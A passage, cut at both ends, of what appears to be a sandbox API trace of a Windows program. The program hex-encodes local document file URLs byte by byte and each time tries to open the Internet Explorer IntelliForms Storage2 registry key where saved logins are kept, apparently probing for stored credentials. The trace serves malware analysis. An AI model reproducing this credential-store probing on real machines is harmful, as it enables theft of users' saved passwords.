returned="854C090329BEA0409242097E718DF581" [0078.060] LocalFree (hMem=0x652cb0) returned 0x0 [0078.060] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D9") returned 2 [0078.060] lstrlenA (lpString="854C090329BEA0409242097E718DF581") returned 32 [0078.060] lstrlenA (lpString="D9") returned 2 [0078.060] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.060] lstrcpyA (in: lpString1=0x6293a8, lpString2="854C090329BEA0409242097E718DF581" | out: lpString1="854C090329BEA0409242097E718DF581") returned="854C090329BEA0409242097E718DF581" [0078.060] lstrcatA (in: lpString1="854C090329BEA0409242097E718DF581", lpString2="D9" | out: lpString1="854C090329BEA0409242097E718DF581D9") returned="854C090329BEA0409242097E718DF581D9" [0078.060] LocalFree (hMem=0x6292f8) returned 0x0 [0078.060] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8A") returned 2 [0078.060] lstrlenA (lpString="854C090329BEA0409242097E718DF581D9") returned 34 [0078.060] lstrlenA (lpString="8A") returned 2 [0078.060] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.060] lstrcpyA (in: lpString1=0x6292f8, lpString2="854C090329BEA0409242097E718DF581D9" | out: lpString1="854C090329BEA0409242097E718DF581D9") returned="854C090329BEA0409242097E718DF581D9" [0078.060] lstrcatA (in: lpString1="854C090329BEA0409242097E718DF581D9", lpString2="8A" | out: lpString1="854C090329BEA0409242097E718DF581D98A") returned="854C090329BEA0409242097E718DF581D98A" [0078.060] LocalFree (hMem=0x6293a8) returned 0x0 [0078.060] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E2") returned 2 [0078.060] lstrlenA (lpString="854C090329BEA0409242097E718DF581D98A") returned 36 [0078.060] lstrlenA (lpString="E2") returned 2 [0078.060] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.060] lstrcpyA (in: lpString1=0x6293a8, lpString2="854C090329BEA0409242097E718DF581D98A" | out: lpString1="854C090329BEA0409242097E718DF581D98A") returned="854C090329BEA0409242097E718DF581D98A" [0078.060] lstrcatA (in: lpString1="854C090329BEA0409242097E718DF581D98A", lpString2="E2" | out: lpString1="854C090329BEA0409242097E718DF581D98AE2") returned="854C090329BEA0409242097E718DF581D98AE2" [0078.060] LocalFree (hMem=0x6292f8) returned 0x0 [0078.060] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="77") returned 2 [0078.060] lstrlenA (lpString="854C090329BEA0409242097E718DF581D98AE2") returned 38 [0078.060] lstrlenA (lpString="77") returned 2 [0078.061] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647b70 [0078.061] lstrcpyA (in: lpString1=0x647b70, lpString2="854C090329BEA0409242097E718DF581D98AE2" | out: lpString1="854C090329BEA0409242097E718DF581D98AE2") returned="854C090329BEA0409242097E718DF581D98AE2" [0078.061] lstrcatA (in: lpString1="854C090329BEA0409242097E718DF581D98AE2", lpString2="77" | out: lpString1="854C090329BEA0409242097E718DF581D98AE277") returned="854C090329BEA0409242097E718DF581D98AE277" [0078.061] LocalFree (hMem=0x6293a8) returned 0x0 [0078.061] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2F") returned 2 [0078.061] lstrlenA (lpString="854C090329BEA0409242097E718DF581D98AE277") returned 40 [0078.061] lstrlenA (lpString="2F") returned 2 [0078.061] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0078.061] lstrcpyA (in: lpString1=0x647ab8, lpString2="854C090329BEA0409242097E718DF581D98AE277" | out: lpString1="854C090329BEA0409242097E718DF581D98AE277") returned="854C090329BEA0409242097E718DF581D98AE277" [0078.061] lstrcatA (in: lpString1="854C090329BEA0409242097E718DF581D98AE277", lpString2="2F" | out: lpString1="854C090329BEA0409242097E718DF581D98AE2772F") returned="854C090329BEA0409242097E718DF581D98AE2772F" [0078.061] LocalFree (hMem=0x647b70) returned 0x0 [0078.061] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.061] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.061] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.061] LocalFree (hMem=0x647ab8) returned 0x0 [0078.061] CoTaskMemFree (pv=0x6565a8) [0078.061] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/yrfvTv5rTo9dR80.docx", lpSrch="?") returned 0x0 [0078.061] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/yrfvTv5rTo9dR80.docx") returned 55 [0078.061] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D6") returned 2 [0078.061] lstrlenA (lpString="") returned 0 [0078.061] lstrlenA (lpString="D6") returned 2 [0078.061] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65aa80 [0078.061] lstrcpyA (in: lpString1=0x65aa80, lpString2="" | out: lpString1="") returned="" [0078.061] lstrcatA (in: lpString1="", lpString2="D6" | out: lpString1="D6") returned="D6" [0078.061] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="55") returned 2 [0078.061] lstrlenA (lpString="D6") returned 2 [0078.061] lstrlenA (lpString="55") returned 2 [0078.061] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65b0a8 [0078.061] lstrcpyA (in: lpString1=0x65b0a8, lpString2="D6" | out: lpString1="D6") returned="D6" [0078.061] lstrcatA (in: lpString1="D6", lpString2="55" | out: lpString1="D655") returned="D655" [0078.062] LocalFree (hMem=0x65aa80) returned 0x0 [0078.062] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6A") returned 2 [0078.062] lstrlenA (lpString="D655") returned 4 [0078.062] lstrlenA (lpString="6A") returned 2 [0078.062] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65aa80 [0078.062] lstrcpyA (in: lpString1=0x65aa80, lpString2="D655" | out: lpString1="D655") returned="D655" [0078.062] lstrcatA (in: lpString1="D655", lpString2="6A" | out: lpString1="D6556A") returned="D6556A" [0078.062] LocalFree (hMem=0x65b0a8) returned 0x0 [0078.062] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="71") returned 2 [0078.062] lstrlenA (lpString="D6556A") returned 6 [0078.062] lstrlenA (lpString="71") returned 2 [0078.062] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x6643e8 [0078.062] lstrcpyA (in: lpString1=0x6643e8, lpString2="D6556A" | out: lpString1="D6556A") returned="D6556A" [0078.062] lstrcatA (in: lpString1="D6556A", lpString2="71" | out: lpString1="D6556A71") returned="D6556A71" [0078.062] LocalFree (hMem=0x65aa80) returned 0x0 [0078.062] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0C") returned 2 [0078.062] lstrlenA (lpString="D6556A71") returned 8 [0078.062] lstrlenA (lpString="0C") returned 2 [0078.062] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x664350 [0078.062] lstrcpyA (in: lpString1=0x664350, lpString2="D6556A71" | out: lpString1="D6556A71") returned="D6556A71" [0078.062] lstrcatA (in: lpString1="D6556A71", lpString2="0C" | out: lpString1="D6556A710C") returned="D6556A710C" [0078.062] LocalFree (hMem=0x6643e8) returned 0x0 [0078.062] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="17") returned 2 [0078.062] lstrlenA (lpString="D6556A710C") returned 10 [0078.062] lstrlenA (lpString="17") returned 2 [0078.062] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0078.062] lstrcpyA (in: lpString1=0x6643e8, lpString2="D6556A710C" | out: lpString1="D6556A710C") returned="D6556A710C" [0078.062] lstrcatA (in: lpString1="D6556A710C", lpString2="17" | out: lpString1="D6556A710C17") returned="D6556A710C17" [0078.062] LocalFree (hMem=0x664350) returned 0x0 [0078.062] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="16") returned 2 [0078.062] lstrlenA (lpString="D6556A710C17") returned 12 [0078.062] lstrlenA (lpString="16") returned 2 [0078.062] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x664350 [0078.062] lstrcpyA (in: lpString1=0x664350, lpString2="D6556A710C17" | out: lpString1="D6556A710C17") returned="D6556A710C17" [0078.062] lstrcatA (in: lpString1="D6556A710C17", lpString2="16" | out: lpString1="D6556A710C1716") returned="D6556A710C1716" [0078.062] LocalFree (hMem=0x6643e8) returned 0x0 [0078.062] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CB") returned 2 [0078.062] lstrlenA (lpString="D6556A710C1716") returned 14 [0078.062] lstrlenA (lpString="CB") returned 2 [0078.062] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65b0a8 [0078.063] lstrcpyA (in: lpString1=0x65b0a8, lpString2="D6556A710C1716" | out: lpString1="D6556A710C1716") returned="D6556A710C1716" [0078.063] lstrcatA (in: lpString1="D6556A710C1716", lpString2="CB" | out: lpString1="D6556A710C1716CB") returned="D6556A710C1716CB" [0078.063] LocalFree (hMem=0x664350) returned 0x0 [0078.063] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="47") returned 2 [0078.063] lstrlenA (lpString="D6556A710C1716CB") returned 16 [0078.063] lstrlenA (lpString="47") returned 2 [0078.063] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b148 [0078.063] lstrcpyA (in: lpString1=0x65b148, lpString2="D6556A710C1716CB" | out: lpString1="D6556A710C1716CB") returned="D6556A710C1716CB" [0078.063] lstrcatA (in: lpString1="D6556A710C1716CB", lpString2="47" | out: lpString1="D6556A710C1716CB47") returned="D6556A710C1716CB47" [0078.063] LocalFree (hMem=0x65b0a8) returned 0x0 [0078.063] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CC") returned 2 [0078.063] lstrlenA (lpString="D6556A710C1716CB47") returned 18 [0078.063] lstrlenA (lpString="CC") returned 2 [0078.063] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65b0a8 [0078.063] lstrcpyA (in: lpString1=0x65b0a8, lpString2="D6556A710C1716CB47" | out: lpString1="D6556A710C1716CB47") returned="D6556A710C1716CB47" [0078.063] lstrcatA (in: lpString1="D6556A710C1716CB47", lpString2="CC" | out: lpString1="D6556A710C1716CB47CC") returned="D6556A710C1716CB47CC" [0078.063] LocalFree (hMem=0x65b148) returned 0x0 [0078.063] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8F") returned 2 [0078.063] lstrlenA (lpString="D6556A710C1716CB47CC") returned 20 [0078.063] lstrlenA (lpString="8F") returned 2 [0078.063] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b148 [0078.063] lstrcpyA (in: lpString1=0x65b148, lpString2="D6556A710C1716CB47CC" | out: lpString1="D6556A710C1716CB47CC") returned="D6556A710C1716CB47CC" [0078.063] lstrcatA (in: lpString1="D6556A710C1716CB47CC", lpString2="8F" | out: lpString1="D6556A710C1716CB47CC8F") returned="D6556A710C1716CB47CC8F" [0078.063] LocalFree (hMem=0x65b0a8) returned 0x0 [0078.063] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="45") returned 2 [0078.063] lstrlenA (lpString="D6556A710C1716CB47CC8F") returned 22 [0078.063] lstrlenA (lpString="45") returned 2 [0078.063] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0078.063] lstrcpyA (in: lpString1=0x652cb0, lpString2="D6556A710C1716CB47CC8F" | out: lpString1="D6556A710C1716CB47CC8F") returned="D6556A710C1716CB47CC8F" [0078.063] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F", lpString2="45" | out: lpString1="D6556A710C1716CB47CC8F45") returned="D6556A710C1716CB47CC8F45" [0078.063] LocalFree (hMem=0x65b148) returned 0x0 [0078.063] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="27") returned 2 [0078.063] lstrlenA (lpString="D6556A710C1716CB47CC8F45") returned 24 [0078.063] lstrlenA (lpString="27") returned 2 [0078.063] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652e00 [0078.063] lstrcpyA (in: lpString1=0x652e00, lpString2="D6556A710C1716CB47CC8F45" | out: lpString1="D6556A710C1716CB47CC8F45") returned="D6556A710C1716CB47CC8F45" [0078.063] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F45", lpString2="27" | out: lpString1="D6556A710C1716CB47CC8F4527") returned="D6556A710C1716CB47CC8F4527" [0078.063] LocalFree (hMem=0x652cb0) returned 0x0 [0078.063] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="58") returned 2 [0078.063] lstrlenA (lpString="D6556A710C1716CB47CC8F4527") returned 26 [0078.064] lstrlenA (lpString="58") returned 2 [0078.074] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0078.074] lstrcpyA (in: lpString1=0x652cb0, lpString2="D6556A710C1716CB47CC8F4527" | out: lpString1="D6556A710C1716CB47CC8F4527") returned="D6556A710C1716CB47CC8F4527" [0078.074] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F4527", lpString2="58" | out: lpString1="D6556A710C1716CB47CC8F452758") returned="D6556A710C1716CB47CC8F452758" [0078.074] LocalFree (hMem=0x652e00) returned 0x0 [0078.074] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BF") returned 2 [0078.074] lstrlenA (lpString="D6556A710C1716CB47CC8F452758") returned 28 [0078.074] lstrlenA (lpString="BF") returned 2 [0078.074] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652e00 [0078.074] lstrcpyA (in: lpString1=0x652e00, lpString2="D6556A710C1716CB47CC8F452758" | out: lpString1="D6556A710C1716CB47CC8F452758") returned="D6556A710C1716CB47CC8F452758" [0078.074] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F452758", lpString2="BF" | out: lpString1="D6556A710C1716CB47CC8F452758BF") returned="D6556A710C1716CB47CC8F452758BF" [0078.074] LocalFree (hMem=0x652cb0) returned 0x0 [0078.074] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FA") returned 2 [0078.074] lstrlenA (lpString="D6556A710C1716CB47CC8F452758BF") returned 30 [0078.075] lstrlenA (lpString="FA") returned 2 [0078.075] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.075] lstrcpyA (in: lpString1=0x6293a8, lpString2="D6556A710C1716CB47CC8F452758BF" | out: lpString1="D6556A710C1716CB47CC8F452758BF") returned="D6556A710C1716CB47CC8F452758BF" [0078.075] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F452758BF", lpString2="FA" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA") returned="D6556A710C1716CB47CC8F452758BFFA" [0078.075] LocalFree (hMem=0x652e00) returned 0x0 [0078.075] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0A") returned 2 [0078.075] lstrlenA (lpString="D6556A710C1716CB47CC8F452758BFFA") returned 32 [0078.075] lstrlenA (lpString="0A") returned 2 [0078.075] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.075] lstrcpyA (in: lpString1=0x6292f8, lpString2="D6556A710C1716CB47CC8F452758BFFA" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA") returned="D6556A710C1716CB47CC8F452758BFFA" [0078.075] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F452758BFFA", lpString2="0A" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A") returned="D6556A710C1716CB47CC8F452758BFFA0A" [0078.075] LocalFree (hMem=0x6293a8) returned 0x0 [0078.075] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1D") returned 2 [0078.075] lstrlenA (lpString="D6556A710C1716CB47CC8F452758BFFA0A") returned 34 [0078.075] lstrlenA (lpString="1D") returned 2 [0078.075] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.075] lstrcpyA (in: lpString1=0x6293a8, lpString2="D6556A710C1716CB47CC8F452758BFFA0A" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A") returned="D6556A710C1716CB47CC8F452758BFFA0A" [0078.075] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F452758BFFA0A", lpString2="1D" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D") returned="D6556A710C1716CB47CC8F452758BFFA0A1D" [0078.075] LocalFree (hMem=0x6292f8) returned 0x0 [0078.075] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1D") returned 2 [0078.075] lstrlenA (lpString="D6556A710C1716CB47CC8F452758BFFA0A1D") returned 36 [0078.075] lstrlenA (lpString="1D") returned 2 [0078.075] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.075] lstrcpyA (in: lpString1=0x6292f8, lpString2="D6556A710C1716CB47CC8F452758BFFA0A1D" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D") returned="D6556A710C1716CB47CC8F452758BFFA0A1D" [0078.075] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D", lpString2="1D" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D1D") returned="D6556A710C1716CB47CC8F452758BFFA0A1D1D" [0078.075] LocalFree (hMem=0x6293a8) returned 0x0 [0078.075] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EF") returned 2 [0078.075] lstrlenA (lpString="D6556A710C1716CB47CC8F452758BFFA0A1D1D") returned 38 [0078.075] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0078.075] lstrcpyA (in: lpString1=0x647ab8, lpString2="D6556A710C1716CB47CC8F452758BFFA0A1D1D" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D1D") returned="D6556A710C1716CB47CC8F452758BFFA0A1D1D" [0078.075] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D1D", lpString2="EF" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D1DEF") returned="D6556A710C1716CB47CC8F452758BFFA0A1D1DEF" [0078.075] LocalFree (hMem=0x6292f8) returned 0x0 [0078.075] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5C") returned 2 [0078.075] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647b70 [0078.075] lstrcpyA (in: lpString1=0x647b70, lpString2="D6556A710C1716CB47CC8F452758BFFA0A1D1DEF" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D1DEF") returned="D6556A710C1716CB47CC8F452758BFFA0A1D1DEF" [0078.075] lstrcatA (in: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D1DEF", lpString2="5C" | out: lpString1="D6556A710C1716CB47CC8F452758BFFA0A1D1DEF5C") returned="D6556A710C1716CB47CC8F452758BFFA0A1D1DEF5C" [0078.075] LocalFree (hMem=0x647ab8) returned 0x0 [0078.075] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.076] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.076] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.076] LocalFree (hMem=0x647b70) returned 0x0 [0078.076] CoTaskMemFree (pv=0x6663c8) [0078.076] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/XIWRBwXSreOb6ty.ods", lpSrch="?") returned 0x0 [0078.076] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/XIWRBwXSreOb6ty.ods") returned 63 [0078.076] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A6") returned 2 [0078.076] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65aa80 [0078.076] lstrcpyA (in: lpString1=0x65aa80, lpString2="" | out: lpString1="") returned="" [0078.076] lstrcatA (in: lpString1="", lpString2="A6" | out: lpString1="A6") returned="A6" [0078.076] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="48") returned 2 [0078.076] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65b0a8 [0078.076] lstrcpyA (in: lpString1=0x65b0a8, lpString2="A6" | out: lpString1="A6") returned="A6" [0078.076] lstrcatA (in: lpString1="A6", lpString2="48" | out: lpString1="A648") returned="A648" [0078.076] LocalFree (hMem=0x65aa80) returned 0x0 [0078.076] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CD") returned 2 [0078.076] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65aa80 [0078.076] lstrcpyA (in: lpString1=0x65aa80, lpString2="A648" | out: lpString1="A648") returned="A648" [0078.076] lstrcatA (in: lpString1="A648", lpString2="CD" | out: lpString1="A648CD") returned="A648CD" [0078.076] LocalFree (hMem=0x65b0a8) returned 0x0 [0078.076] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="76") returned 2 [0078.076] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x664350 [0078.076] lstrcpyA (in: lpString1=0x664350, lpString2="A648CD" | out: lpString1="A648CD") returned="A648CD" [0078.076] lstrcatA (in: lpString1="A648CD", lpString2="76" | out: lpString1="A648CD76") returned="A648CD76" [0078.076] LocalFree (hMem=0x65aa80) returned 0x0 [0078.076] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="02") returned 2 [0078.076] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6643e8 [0078.077] lstrcpyA (in: lpString1=0x6643e8, lpString2="A648CD76" | out: lpString1="A648CD76") returned="A648CD76" [0078.077] lstrcatA (in: lpString1="A648CD76", lpString2="02" | out: lpString1="A648CD7602") returned="A648CD7602" [0078.077] LocalFree (hMem=0x664350) returned 0x0 [0078.077] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3B") returned 2 [0078.077] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0078.077] lstrcpyA (in: lpString1=0x664350, lpString2="A648CD7602" | out: lpString1="A648CD7602") returned="A648CD7602" [0078.077] lstrcatA (in: lpString1="A648CD7602", lpString2="3B" | out: lpString1="A648CD76023B") returned="A648CD76023B" [0078.077] LocalFree (hMem=0x6643e8) returned 0x0 [0078.077] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A9") returned 2 [0078.077] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6643e8 [0078.077] lstrcpyA (in: lpString1=0x6643e8, lpString2="A648CD76023B" | out: lpString1="A648CD76023B") returned="A648CD76023B" [0078.077] lstrcatA (in: lpString1="A648CD76023B", lpString2="A9" | out: lpString1="A648CD76023BA9") returned="A648CD76023BA9" [0078.077] LocalFree (hMem=0x664350) returned 0x0 [0078.077] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5D") returned 2 [0078.077] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65b0a8 [0078.077] lstrcpyA (in: lpString1=0x65b0a8, lpString2="A648CD76023BA9" | out: lpString1="A648CD76023BA9") returned="A648CD76023BA9" [0078.077] lstrcatA (in: lpString1="A648CD76023BA9", lpString2="5D" | out: lpString1="A648CD76023BA95D") returned="A648CD76023BA95D" [0078.077] LocalFree (hMem=0x6643e8) returned 0x0 [0078.077] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6F") returned 2 [0078.077] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b148 [0078.077] lstrcpyA (in: lpString1=0x65b148, lpString2="A648CD76023BA95D" | out: lpString1="A648CD76023BA95D") returned="A648CD76023BA95D" [0078.077] lstrcatA (in: lpString1="A648CD76023BA95D", lpString2="6F" | out: lpString1="A648CD76023BA95D6F") returned="A648CD76023BA95D6F" [0078.077] LocalFree (hMem=0x65b0a8) returned 0x0 [0078.077] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="93") returned 2 [0078.077] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65b0a8 [0078.077] lstrcpyA (in: lpString1=0x65b0a8, lpString2="A648CD76023BA95D6F" | out: lpString1="A648CD76023BA95D6F") returned="A648CD76023BA95D6F" [0078.077] lstrcatA (in: lpString1="A648CD76023BA95D6F", lpString2="93" | out: lpString1="A648CD76023BA95D6F93") returned="A648CD76023BA95D6F93" [0078.077] LocalFree (hMem=0x65b148) returned 0x0 [0078.077] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DC") returned 2 [0078.077] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b148 [0078.077] lstrcpyA (in: lpString1=0x65b148, lpString2="A648CD76023BA95D6F93" | out: lpString1="A648CD76023BA95D6F93") returned="A648CD76023BA95D6F93" [0078.077] lstrcatA (in: lpString1="A648CD76023BA95D6F93", lpString2="DC" | out: lpString1="A648CD76023BA95D6F93DC") returned="A648CD76023BA95D6F93DC" [0078.077] LocalFree (hMem=0x65b0a8) returned 0x0 [0078.077] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="45") returned 2 [0078.077] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652e00 [0078.078] lstrcpyA (in: lpString1=0x652e00, lpString2="A648CD76023BA95D6F93DC" | out: lpString1="A648CD76023BA95D6F93DC") returned="A648CD76023BA95D6F93DC" [0078.078] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC", lpString2="45" | out: lpString1="A648CD76023BA95D6F93DC45") returned="A648CD76023BA95D6F93DC45" [0078.078] LocalFree (hMem=0x65b148) returned 0x0 [0078.078] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0078.078] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0078.078] lstrcpyA (in: lpString1=0x652cb0, lpString2="A648CD76023BA95D6F93DC45" | out: lpString1="A648CD76023BA95D6F93DC45") returned="A648CD76023BA95D6F93DC45" [0078.078] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45", lpString2="F9" | out: lpString1="A648CD76023BA95D6F93DC45F9") returned="A648CD76023BA95D6F93DC45F9" [0078.078] LocalFree (hMem=0x652e00) returned 0x0 [0078.078] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3F") returned 2 [0078.078] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652e00 [0078.078] lstrcpyA (in: lpString1=0x652e00, lpString2="A648CD76023BA95D6F93DC45F9" | out: lpString1="A648CD76023BA95D6F93DC45F9") returned="A648CD76023BA95D6F93DC45F9" [0078.078] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45F9", lpString2="3F" | out: lpString1="A648CD76023BA95D6F93DC45F93F") returned="A648CD76023BA95D6F93DC45F93F" [0078.078] LocalFree (hMem=0x652cb0) returned 0x0 [0078.078] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="07") returned 2 [0078.078] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0078.078] lstrcpyA (in: lpString1=0x652cb0, lpString2="A648CD76023BA95D6F93DC45F93F" | out: lpString1="A648CD76023BA95D6F93DC45F93F") returned="A648CD76023BA95D6F93DC45F93F" [0078.078] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45F93F", lpString2="07" | out: lpString1="A648CD76023BA95D6F93DC45F93F07") returned="A648CD76023BA95D6F93DC45F93F07" [0078.078] LocalFree (hMem=0x652e00) returned 0x0 [0078.078] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0078.078] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.078] lstrcpyA (in: lpString1=0x6292f8, lpString2="A648CD76023BA95D6F93DC45F93F07" | out: lpString1="A648CD76023BA95D6F93DC45F93F07") returned="A648CD76023BA95D6F93DC45F93F07" [0078.078] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45F93F07", lpString2="F9" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9") returned="A648CD76023BA95D6F93DC45F93F07F9" [0078.078] LocalFree (hMem=0x652cb0) returned 0x0 [0078.078] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A1") returned 2 [0078.078] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.078] lstrcpyA (in: lpString1=0x6293a8, lpString2="A648CD76023BA95D6F93DC45F93F07F9" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9") returned="A648CD76023BA95D6F93DC45F93F07F9" [0078.078] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45F93F07F9", lpString2="A1" 